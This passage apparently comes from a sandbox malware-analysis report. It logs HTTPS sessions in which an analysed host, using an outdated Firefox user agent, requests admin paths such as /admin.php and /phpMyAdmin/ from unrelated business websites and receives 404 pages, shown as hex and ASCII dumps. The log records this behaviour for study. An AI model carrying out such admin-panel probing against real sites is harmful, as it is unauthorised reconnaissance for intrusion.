2023-12-20 02:13:33 UTC	6744	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 2d 52 65 70 6f 72 74 2d 4f 6e 6c 79 3a 20 66 6f 6e 74 2d 73 72 63 20 2a 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 20 2a 2e 67 73 74 61 74 69 63 2e 63 6f 6d 20 2a 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 2a 2e 74 77 69 74 74 65 72 2e 63 6f 6d 20 2a 2e 74 79 70 65 6b 69 74 2e 6e 65 74 20 2a 2e 74 77 69 6d 67 2e 63 6f 6d 20 2a 2e 74 72 75 73 74 65 64 73 68 6f 70 73 2e 63 6f 6d 20 2a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 20 2a 2e 79 6f 75 74 75 62 65 2e 63 6f 6d 20 6d 61 70 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 20 2a 2e 79 6f 74 70 6f 2e 63 6f 6d 20 27 73 65 6c 66 27 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 3b 20 66 6f 72 6d 2d 61 63 74 69 6f 6e 20 73 65 63 75 72 65 2e Data Ascii: Content-Security-Policy-Report-Only: font-src .googleapis.com .gstatic.com .cloudflare.com .twitter.com .typekit.net .twimg.com .trustedshops.com .google.com .youtube.com maps.googleapis.com .yotpo.com 'self' 'unsafe-inline'; form-action secure.
2023-12-20 02:13:33 UTC	970	IN	Data Raw: 34 30 30 30 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 20 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 76 61 72 20 42 41 53 45 5f 55 52 4c 20 3d 20 27 68 74 74 70 73 5c 75 30 30 33 41 5c 75 30 30 32 46 5c 75 30 30 32 46 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 5c 75 30 30 32 46 27 3b 0a 20 20 20 20 76 61 72 20 72 65 71 75 69 72 65 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 27 62 61 73 65 55 72 6c 27 3a 20 27 68 74 74 70 73 5c 75 30 30 33 41 5c 75 30 30 32 46 5c 75 30 30 32 46 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 5c 75 30 30 32 46 73 74 61 74 69 63 5c 75 30 30 32 46 76 65 72 73 69 6f 6e 31 37 30 31 33 38 38 34 32 30 5c 75 30 30 32 46 66 72 6f 6e 74 Data Ascii: 4000<!doctype html><html lang="en"> <head > <script> var BASE_URL = 'https\u003A\u002F\u002Fhorsetech.com\u002F'; var require = { 'baseUrl': 'https\u003A\u002F\u002Fhorsetech.com\u002Fstatic\u002Fversion1701388420\u002Ffront
2023-12-20 02:13:33 UTC	4096	IN	Data Raw: 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 76 65 72 73 69 6f 6e 31 37 30 31 33 38 38 34 32 30 2f 66 72 6f 6e 74 65 6e 64 2f 68 6f 72 73 65 74 65 63 68 2f 64 65 66 61 75 6c 74 2f 65 6e 5f 55 53 2f 63 73 73 2f 73 74 79 6c 65 73 2d 6d 2e 6d 69 6e 2e 63 73 73 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 76 65 72 73 69 6f 6e 31 37 30 31 33 38 38 34 32 30 2f 66 72 6f 6e 74 65 6e 64 2f 68 6f 72 73 65 74 65 63 68 2f 64 65 66 61 75 6c 74 2f 65 6e 5f 55 53 2f 63 73 73 2f 73 74 79 6c 65 73 2d 6c 2e 6d 69 6e 2e 63 73 73 22 20 2f 3e 0a 3c 6c 69 Data Ascii: .com/static/version1701388420/frontend/horsetech/default/en_US/css/styles-m.min.css" /><link rel="stylesheet" type="text/css" media="all" href="https://horsetech.com/static/version1701388420/frontend/horsetech/default/en_US/css/styles-l.min.css" /><li
2023-12-20 02:13:33 UTC	4096	IN	Data Raw: 29 27 29 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 6d 61 74 63 68 29 20 72 65 74 75 72 6e 20 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 6d 61 74 63 68 5b 31 5d 2e 72 65 70 6c 61 63 65 28 2f 5c 2b 2f 67 2c 20 27 20 27 29 29 20 3b 0a 20 20 20 20 20 20 20 20 7d 3b 0a 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 3d 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 7c 7c 20 5b 5d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 64 6c 34 4f 62 6a 65 63 74 73 20 3d 20 5b 7b 22 70 61 67 65 4e 61 6d 65 22 3a 22 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 22 2c 22 70 61 67 65 54 79 70 65 22 3a 22 6f 74 68 65 72 22 7d 5d 3b 0a 20 20 20 20 20 20 20 20 66 6f 72 20 28 76 61 72 20 69 20 69 6e Data Ascii: )')); if (match) return decodeURIComponent(match[1].replace(/\+/g, ' ')) ; }; window.dataLayer = window.dataLayer \|\| []; var dl4Objects = [{"pageName":"404 Not Found","pageType":"other"}]; for (var i in
2023-12-20 02:13:33 UTC	4096	IN	Data Raw: 61 74 3a 20 72 69 67 68 74 3b 0d 0a 09 09 20 20 20 20 7a 2d 69 6e 64 65 78 3a 20 39 39 39 39 3b 0d 0a 09 09 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0d 0a 09 09 20 20 20 20 72 69 67 68 74 3a 20 32 30 70 78 3b 0d 0a 09 09 20 20 20 20 74 6f 70 3a 20 32 32 70 78 3b 0d 0a 09 09 7d 0d 0a 09 09 2e 70 61 67 65 2d 70 72 6f 64 75 63 74 73 20 2e 70 72 6f 64 75 63 74 73 2d 6c 69 73 74 20 2e 70 72 6f 64 75 63 74 2d 69 74 65 6d 2d 69 6e 66 6f 20 61 2c 0d 0a 09 09 2e 70 61 67 65 2d 70 72 6f 64 75 63 74 73 20 2e 70 72 6f 64 75 63 74 73 2d 6c 69 73 74 20 2e 70 72 6f 64 75 63 74 2d 69 74 65 6d 2d 69 6e 66 6f 20 2e 70 72 6f 64 75 63 74 2d 69 74 65 6d 2d 64 65 74 61 69 6c 73 20 7b 0d 0a 09 09 09 77 69 64 74 68 3a 20 61 75 74 6f 3b 0d 0a 09 09 09 Data Ascii: at: right; z-index: 9999; position: absolute; right: 20px; top: 22px;}.page-products .products-list .product-item-info a,.page-products .products-list .product-item-info .product-item-details {width: auto;
2023-12-20 02:13:33 UTC	4096	IN	Data Raw: 70 74 3e 0a 3c 21 2d 2d 20 45 4e 44 20 47 4f 4f 47 4c 45 20 41 4e 41 4c 59 54 49 43 53 20 43 4f 44 45 20 2d 2d 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 78 2d 6d 61 67 65 6e 74 6f 2d 69 6e 69 74 22 3e 0a 20 20 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 2a 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 4d 61 67 65 6e 74 6f 5f 50 61 67 65 43 61 63 68 65 2f 6a 73 2f 66 6f 72 6d 2d 6b 65 79 2d 70 72 6f 76 69 64 65 72 22 3a 20 7b 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 3c 62 6f 64 79 20 64 61 74 61 2d 63 6f 6e 74 61 69 6e 65 72 3d 22 62 6f 64 79 22 0a 20 20 20 20 Data Ascii: pt>... END GOOGLE ANALYTICS CODE --> <script type="text/x-magento-init"> { "*": { "Magento_PageCache/js/form-key-provider": {} } } </script> </head> <body data-container="body"
2023-12-20 02:13:33 UTC	4096	IN	Data Raw: 61 72 63 68 22 3e 0a 09 09 09 09 09 09 3c 73 70 61 6e 3e 53 65 61 72 63 68 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 3c 2f 62 75 74 74 6f 6e 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 3c 2f 66 6f 72 6d 3e 0a 09 09 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 78 2d 6d 61 67 65 6e 74 6f 2d 69 6e 69 74 22 3e 0a 7b 0a 20 20 20 20 22 2a 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 4d 61 67 65 6e 74 6f 5f 55 69 2f 6a 73 2f 63 6f 72 65 2f 61 70 70 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 63 6f 6d 70 6f 6e 65 6e 74 73 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 73 65 61 72 63 68 73 75 69 74 65 61 75 74 6f 63 6f 6d 70 6c 65 74 65 5f 66 6f 72 6d Data Ascii: arch"><span>Search</span></button></div></form></div> </div></div><script type="text/x-magento-init">{ "*": { "Magento_Ui/js/core/app": { "components": { "searchsuiteautocomplete_form
2023-12-20 02:13:33 UTC	4096	IN	Data Raw: 2e 74 6f 74 61 6c 73 22 3a 7b 22 63 6f 6e 66 69 67 22 3a 7b 22 64 69 73 70 6c 61 79 5f 63 61 72 74 5f 73 75 62 74 6f 74 61 6c 5f 69 6e 63 6c 5f 74 61 78 22 3a 30 2c 22 64 69 73 70 6c 61 79 5f 63 61 72 74 5f 73 75 62 74 6f 74 61 6c 5f 65 78 63 6c 5f 74 61 78 22 3a 31 2c 22 74 65 6d 70 6c 61 74 65 22 3a 22 4d 61 67 65 6e 74 6f 5f 54 61 78 5c 2f 63 68 65 63 6b 6f 75 74 5c 2f 6d 69 6e 69 63 61 72 74 5c 2f 73 75 62 74 6f 74 61 6c 5c 2f 74 6f 74 61 6c 73 22 7d 2c 22 63 68 69 6c 64 72 65 6e 22 3a 7b 22 73 75 62 74 6f 74 61 6c 2e 74 6f 74 61 6c 73 2e 6d 73 72 70 22 3a 7b 22 63 6f 6d 70 6f 6e 65 6e 74 22 3a 22 4d 61 67 65 6e 74 6f 5f 4d 73 72 70 5c 2f 6a 73 5c 2f 76 69 65 77 5c 2f 63 68 65 63 6b 6f 75 74 5c 2f 6d 69 6e 69 63 61 72 74 5c 2f 73 75 62 74 6f 74 61 6c Data Ascii: .totals":{"config":{"display_cart_subtotal_incl_tax":0,"display_cart_subtotal_excl_tax":1,"template":"Magento_Tax\/checkout\/minicart\/subtotal\/totals"},"children":{"subtotal.totals.msrp":{"component":"Magento_Msrp\/js\/view\/checkout\/minicart\/subtotal
2023-12-20 02:13:33 UTC	4096	IN	Data Raw: 66 3d 22 68 74 74 70 73 3a 2f 2f 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 2f 65 71 75 69 6e 65 2d 73 75 70 70 6c 65 6d 65 6e 74 73 2f 63 75 73 74 6f 6d 2d 6e 6f 6e 2d 73 74 6f 63 6b 2d 70 72 6f 64 75 63 74 73 22 3e 3c 73 70 61 6e 3e 43 75 73 74 6f 6d 20 26 20 4e 6f 6e 2d 73 74 6f 63 6b 20 50 72 6f 64 75 63 74 73 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 22 75 69 2d 6d 65 6e 75 2d 69 74 65 6d 20 6c 65 76 65 6c 31 20 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 2f 65 71 75 69 6e 65 2d 73 75 70 70 6c 65 6d 65 6e 74 73 2f 64 61 69 6c 79 2d 76 69 74 61 6d 69 6e 73 2d 6d 69 6e 65 72 61 6c 73 22 3e 3c 73 70 61 6e 3e 44 61 69 6c 79 20 56 69 74 61 6d 69 6e 73 2f 20 4d 69 6e 65 72 Data Ascii: f="https://horsetech.com/equine-supplements/custom-non-stock-products"><span>Custom & Non-stock Products</span></a></li><li class="ui-menu-item level1 "><a href="https://horsetech.com/equine-supplements/daily-vitamins-minerals"><span>Daily Vitamins/ Miner
2023-12-20 02:13:33 UTC	4096	IN	Data Raw: 6d 65 6e 75 2d 69 74 65 6d 20 6c 65 76 65 6c 31 20 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 2f 63 61 6e 69 6e 65 2d 73 75 70 70 6c 65 6d 65 6e 74 73 2f 64 69 67 65 73 74 69 76 65 2d 73 75 70 70 6f 72 74 22 3e 3c 73 70 61 6e 3e 44 69 67 65 73 74 69 76 65 20 53 75 70 70 6f 72 74 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 22 75 69 2d 6d 65 6e 75 2d 69 74 65 6d 20 6c 65 76 65 6c 31 20 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 2f 63 61 6e 69 6e 65 2d 73 75 70 70 6c 65 6d 65 6e 74 73 2f 73 6b 69 6e 2d 63 6f 61 74 22 3e 3c 73 70 61 6e 3e 53 6b 69 6e 20 26 20 43 6f 61 74 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 3c Data Ascii: menu-item level1 "><a href="https://horsetech.com/canine-supplements/digestive-support"><span>Digestive Support</span></a></li><li class="ui-menu-item level1 "><a href="https://horsetech.com/canine-supplements/skin-coat"><span>Skin & Coat</span></a></li><

Session ID	Source IP	Source Port	Destination IP	Destination Port
272	192.168.2.4	62116	199.34.228.152	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:32 UTC	179	OUT	GET /admin.php HTTP/1.1 Host: www.lisvankooten.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:33 UTC	660	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:33 GMT Server: Apache Vary: X-W-SSL,User-Agent Set-Cookie: language=en; expires=Wed, 03-Jan-2024 02:13:33 GMT; Max-Age=1209600; path=/ Set-Cookie: cookie-consent=%7B%22allowStrictlyNecessaryCookies%22%3Atrue%2C%22allowFunctionalityCookies%22%3Atrue%2C%22allowPerformanceCookies%22%3Atrue%2C%22allowTargetingCookies%22%3Atrue%2C%22allowInternalPerformanceCookies%22%3Atrue%7D; expires=Sat, 17-Dec-2033 02:13:33 GMT; Max-Age=315360000; path=/ Cache-Control: private X-Host: grn99.sf2p.intern.weebly.net X-UA-Compatible: IE=edge,chrome=1 Content-Length: 3909 Content-Type: text/html; charset=UTF-8
2023-12-20 02:13:33 UTC	788	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 67 64 70 72 2f 67 64 70 72 73 63 72 69 70 74 2e 6a 73 3f 62 75 69 6c 64 54 69 6d 65 3d 31 37 30 33 30 31 37 34 32 36 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 50 61 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"><head><script src="/gdpr/gdprscript.js?buildTime=1703017426"></script><title>404 - Pa
2023-12-20 02:13:33 UTC	3121	IN	Data Raw: 65 77 6f 72 6b 2f 66 6f 6e 74 73 2f 70 72 6f 78 69 6d 61 2d 6e 6f 76 61 2d 6c 69 67 68 74 2f 33 31 41 43 39 36 5f 30 5f 30 2e 65 6f 74 3f 23 69 65 66 69 78 22 29 20 66 6f 72 6d 61 74 28 22 65 6d 62 65 64 64 65 64 2d 6f 70 65 6e 74 79 70 65 22 29 2c 20 75 72 6c 28 22 2f 2f 63 64 6e 32 2e 65 64 69 74 6d 79 73 69 74 65 2e 63 6f 6d 2f 63 6f 6d 70 6f 6e 65 6e 74 73 2f 75 69 2d 66 72 61 6d 65 77 6f 72 6b 2f 66 6f 6e 74 73 2f 70 72 6f 78 69 6d 61 2d 6e 6f 76 61 2d 6c 69 67 68 74 2f 33 31 41 43 39 36 5f 30 5f 30 2e 77 6f 66 66 22 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 22 29 2c 20 75 72 6c 28 22 2f 2f 63 64 6e 32 2e 65 64 69 74 6d 79 73 69 74 65 2e 63 6f 6d 2f 63 6f 6d 70 6f 6e 65 6e 74 73 2f 75 69 2d 66 72 61 6d 65 77 6f 72 6b 2f 66 6f 6e 74 73 2f 70 72 6f 78 Data Ascii: ework/fonts/proxima-nova-light/31AC96_0_0.eot?#iefix") format("embedded-opentype"), url("//cdn2.editmysite.com/components/ui-framework/fonts/proxima-nova-light/31AC96_0_0.woff") format("woff"), url("//cdn2.editmysite.com/components/ui-framework/fonts/prox

Session ID	Source IP	Source Port	Destination IP	Destination Port
273	192.168.2.4	62718	199.60.103.2	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:32 UTC	414	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: www.greenlawnfertilizing.com Accept: / Accept-Encoding: deflate, gzip Cookie: __cfruid=20b4858a8feb0bdf13218a028cef44dfdf9b9de0-1703038409; __cf_bm=ehZjTSv723BToZAVOJJkP8AhQlTBm9mV22TVcRIVSAg-1703038409-1-AXaHKodARbKL3kOuSXKr5kJv4lyoxfndGnD/IYCFIfrzosJo13N8ek4Ra+EVI3GshHtQ2GVEFr7rEzTe6CsOBmY= User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:33 UTC	1348	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:33 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close CF-Ray: 83845de20ed6333d-MIA CF-Cache-Status: EXPIRED Cache-Control: s-maxage=5,max-age=5 Strict-Transport-Security: max-age=31536000 Vary: origin, Accept-Encoding Access-Control-Allow-Credentials: false Content-Security-Policy: upgrade-insecure-requests X-Content-Type-Options: nosniff x-envoy-upstream-service-time: 44 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-evy-trace-route-service-name: envoyset-translator x-evy-trace-served-by-pod: iad02/cms-20-29-td/envoy-proxy-7bbc466c58-wshlz x-evy-trace-virtual-host: all X-Hs-Https-Only: worker X-HS-Prerendered: Tue, 19 Dec 2023 22:41:00 GMT X-HS-Reason: No view mapper found to handle request X-HubSpot-Correlation-Id: acf52089-3558-4f7b-93a4-3520ebcc3758 X-HubSpot-NotFound: true x-request-id: acf52089-3558-4f7b-93a4-3520ebcc3758 X-Trace: 2B61FB82760D2E39935DBEA25CC28F33E33FCF81AF000000000000000000 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=aYRzKrKNyLsioHLlHvrnlZPLhlx9U1T%2FHKXtXnILEho%2BwylePk6X5cof0wuUxglZmVej%2B88j7cvjKrG0KPImC1SVst9Ng2WKfrcidHHLo4ldLIz4HO%2BXOiI%2B1gtSbDB9TgVfmGqPKyse%2FgvHlHY%3D"}],"group":"cf-nel","max_age":604800}
2023-12-20 02:13:33 UTC	122	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 31 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800}Server: cloudflarealt-svc: h3=":443"; ma=86400
2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 36 31 64 35 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 20 3c 2f 74 69 74 6c 65 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 72 65 65 6e 6c 61 77 6e 66 65 72 74 69 6c 69 7a 69 6e 67 2e 63 6f 6d 2f 68 75 62 66 73 2f 64 6f 77 6e 6c 6f 61 64 2e 70 6e 67 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 Data Ascii: 61d5<!doctype html><html lang="en"><head> <meta charset="utf-8"> <title> </title><link rel="shortcut icon" href="https://www.greenlawnfertilizing.com/hubfs/download.png"> <meta name="viewport" content="width=device-width, initial-scale=1
2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 72 74 69 6c 69 7a 69 6e 67 2e 63 6f 6d 2f 23 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 23 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 2c 0a 20 20 22 69 64 65 6e 74 69 66 69 65 72 22 3a 20 5b 0a 20 20 20 20 0a 20 20 20 20 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 65 61 72 63 68 3f 71 3d 47 72 65 65 6e 2b 4c 61 77 6e 2b 46 65 72 74 69 6c 69 7a 69 6e 67 26 6b 70 6f 6e 6c 79 26 6b 67 6d 69 64 3d 2f 67 2f 31 74 64 77 77 6e 62 62 22 2c 0a 20 20 20 20 0a 20 20 20 20 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 65 61 72 63 68 3f 71 3d 47 72 65 65 6e 2b 4c 61 77 6e 2b 46 65 72 74 69 6c 69 7a 69 6e 67 26 6b 70 6f 6e 6c 79 26 6b 67 6d 69 64 3d 2f 67 2f 31 31 67 66 6a 73 38 32 6b 6c 22 2c 0a 20 20 20 20 0a 20 20 20 Data Ascii: rtilizing.com/#organization#organization", "identifier": [ "https://www.google.com/search?q=Green+Lawn+Fertilizing&kponly&kgmid=/g/1tdwwnbb", "https://www.google.com/search?q=Green+Lawn+Fertilizing&kponly&kgmid=/g/11gfjs82kl",
2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 68 20 6f 76 65 72 20 32 30 20 74 68 6f 75 73 61 6e 64 20 61 63 74 69 76 65 20 63 75 73 74 6f 6d 65 72 73 20 77 68 6f 20 6c 6f 76 65 20 74 68 65 69 72 20 62 65 61 75 74 69 66 75 6c 20 6c 75 73 68 20 67 72 65 65 6e 20 67 72 61 73 73 2e 20 4f 75 72 20 70 72 6f 66 65 73 73 69 6f 6e 61 6c 20 73 74 61 66 66 20 61 72 65 20 64 65 64 69 63 61 74 65 64 20 74 6f 20 70 72 6f 76 69 64 69 6e 67 20 73 75 70 65 72 69 6f 72 20 73 65 72 76 69 63 65 20 66 6f 72 20 61 6c 6c 20 74 79 70 65 73 20 6f 66 20 70 72 6f 70 65 72 74 69 65 73 20 69 6e 63 6c 75 64 69 6e 67 20 63 6f 6d 6d 65 72 63 69 61 6c 20 62 75 73 69 6e 65 73 73 65 73 20 69 6e 20 6e 65 65 64 20 6f 72 20 72 65 67 75 6c 61 72 20 66 65 72 74 69 6c 69 7a 69 6e 67 20 73 63 68 65 64 75 6c 65 73 21 22 22 2c 0a 20 20 20 20 Data Ascii: h over 20 thousand active customers who love their beautiful lush green grass. Our professional staff are dedicated to providing superior service for all types of properties including commercial businesses in need or regular fertilizing schedules!"",
2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 4c 61 77 6e 20 46 65 72 74 69 6c 69 7a 69 6e 67 20 77 61 73 20 66 6f 75 6e 64 65 64 20 77 69 74 68 20 61 20 76 69 73 69 6f 6e 20 74 6f 20 70 72 6f 76 69 64 65 20 74 68 65 20 62 65 73 74 20 71 75 61 6c 69 74 79 20 67 72 61 73 73 20 66 65 72 74 69 6c 69 7a 69 6e 67 2c 20 6c 61 77 6e 20 66 65 72 74 69 6c 69 7a 69 6e 67 2c 20 61 6e 64 20 6c 61 77 6e 20 67 72 61 73 73 20 67 72 6f 77 74 68 20 73 65 72 76 69 63 65 73 20 69 6e 20 4e 65 77 20 4a 65 72 73 65 79 2c 20 44 65 6c 61 77 61 72 65 2c 20 61 6e 64 20 50 65 6e 6e 73 79 6c 76 61 6e 69 61 2e 22 2c 0a 20 20 7d 2c 0a 20 20 22 70 61 72 65 6e 74 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 3a 20 7b 0a 20 20 20 20 22 40 69 64 22 3a 20 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 72 65 65 6e 6c 61 77 6e 66 65 72 74 69 6c 69 Data Ascii: Lawn Fertilizing was founded with a vision to provide the best quality grass fertilizing, lawn fertilizing, and lawn grass growth services in New Jersey, Delaware, and Pennsylvania.", }, "parentOrganization": { "@id": "https://www.greenlawnfertili
2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 72 6c 79 20 6c 69 63 65 6e 73 65 64 20 26 20 69 6e 73 75 72 65 64 20 74 6f 20 6f 66 66 65 72 20 66 65 72 74 69 6c 69 7a 65 72 2c 20 77 65 65 64 20 63 6f 6e 74 72 6f 6c 20 61 6e 64 20 67 72 75 62 20 63 6f 6e 74 72 6f 6c 2e 20 57 65 20 61 6c 73 6f 20 6f 66 66 65 72 20 61 65 72 61 74 69 6f 6e 20 61 6e 64 20 73 65 65 64 69 6e 67 2c 20 74 72 65 65 20 26 20 53 68 72 75 62 2c 20 6c 69 6d 65 2c 20 73 70 6f 74 74 65 64 20 6c 61 6e 74 65 72 6e 66 6c 79 2c 20 6d 6f 73 71 75 69 74 6f 20 61 6e 64 20 66 6c 65 61 20 26 20 74 69 63 6b 20 73 65 72 76 69 63 65 73 2e 22 2c 0a 20 20 22 6d 61 69 6e 45 6e 74 69 74 79 4f 66 50 61 67 65 22 3a 20 5b 0a 20 20 0a 20 20 20 20 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 6d 61 70 73 3f 63 69 64 3d 31 33 38 Data Ascii: rly licensed & insured to offer fertilizer, weed control and grub control. We also offer aeration and seeding, tree & Shrub, lime, spotted lanternfly, mosquito and flea & tick services.", "mainEntityOfPage": [ "https://www.google.com/maps?cid=138
